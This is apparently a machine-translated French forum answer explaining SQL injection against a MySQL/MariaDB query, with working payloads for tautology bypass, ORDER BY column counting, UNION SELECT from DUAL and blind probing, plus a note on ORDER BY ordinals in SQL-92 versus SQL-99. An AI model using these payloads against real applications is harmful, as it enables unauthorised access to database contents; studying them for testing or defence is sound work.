Ok, amusons-nous alors.
Quand je regarde le message d'erreur
Je suppose que la requête et le code dans l'application ressemblent plus ou moins à ce pseudo sage, le @o
est en fait une variable utilisateur MySQL.
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Je vais utiliser un violon SQL espace pour simuler un test d'injection SQL et plus obtenir un accès possible à d'autres tables.
Vous pouvez tester votre injection avec 1' OR 1 = 1#
ou 1' OR 1 = 1--
les deux devraient fonctionner et devraient vous donner le même résultat lorsque vous utilisez 1
comme entrée. C'est parce que MariaDB automatique transtype les types pour d'autres bases de données, vous pourriez avoir besoin d'utiliser la version plus stricte 1' OR '1' = '1#
Qui devrait générer
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Ou
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Ensuite, parce que vous voyez des erreurs dans l'application, vous pouvez utiliser ORDER BY 1
pour vérifier combien de colonnes sont sélectionnées et incrémenter le nombre jusqu'à ce que vous obteniez une erreur.
Erreur :ER_BAD_FIELD_ERROR :colonne '2' inconnue dans 'clause de commande'
Injecter avec
1' ORDER BY 1#
ou 1' ORDER BY 1--
Ce qui signifie trier sur la première colonne du jeu de résultats PAS trier 1
littéral.
Génère
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Ou
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Lorsque vous connaissez les colonnes, vous pouvez utiliser UNION
pour entrer dans d'autres tables. Utilisez NULL
si vous n'avez pas besoin de toutes les colonnes.
injection
1' UNION ALL SELECT NULL FROM DUAL#
Notez que DUAL
est une table "virtuelle" non existante dans MariaDB, MySQL et Oracle, si vous pouvez interroger cette "table", cela signifie que vous pouvez également accéder techniquement à d'autres tables.
SQL généré
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
Et si la page Web est conçue comme une page "détail" où un enregistrement est toujours visible, vous devez ajouter un LIMIT 1, 1
dans votre injection.
Et s'il n'y a pas d'erreurs visibles dans l'application Web, vous devriez simplement pouvoir forcer aveuglément geuss avec des injections SQL aveugles et voir comment l'application fonctionne.
Essayez également des choses comme ?o=0
, ?o=NULL
ou un nombre très élevé comme la valeur INT max (Signé) ?o=2147483647
ou (non signé) ?o=4294967295
avant d'essayer de forcer brutalement le numéro de colonne utilisé afin que vous sachiez comment l'application gère les enregistrements introuvables. Parce qu'il est très peu probable d'avoir l'id 0
ou que des nombres élevés sur un INT
type de données, car l'application cessera de fonctionner si le dernier nombre a été donné. Si vous obtenez toujours un enregistrement avec ces nombres élevés, utilisez les valeurs maximales pour BIGINT
type de données à la place.
Pour la colonne 1, même identifiant de résultat o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Pour les colonnes 2 qui généreront une erreur, mais la plupart du temps, vous verrez une page d'erreur ou un message indiquant que l'enregistrement n'a pas été trouvé.
Ou un statut d'erreur HTTP 404 (introuvable). 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Un problème que vous pourriez rencontrer lors de l'utilisation de LIMIT
sans utiliser ORDER BY
peut-être une chance d'obtenir les mêmes enregistrements car la norme SQL a défini que les tables/ensembles de résultats SQL sont sans ordre sans utiliser ORDER BY
Donc, idéalement, vous devez continuer à utiliser ORDER BY 1
dans les forces brutes.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
Et
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Les bases de données prennent en charge ORDER BY 1
est mieux que je ne le pensais à première vue car cela fonctionne dans MySQL, MariaDB, SQL Server (MSSQL) et PostgreSQL.
Aussi ORDER BY 1
était une fonctionnalité SQL 92 qui a été supprimée dans SQL 99.
Ainsi, les bases de données SQL ne doivent pas exécuter ORDER BY 1
annymore s'ils suivraient les normes SQL sur ce point.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC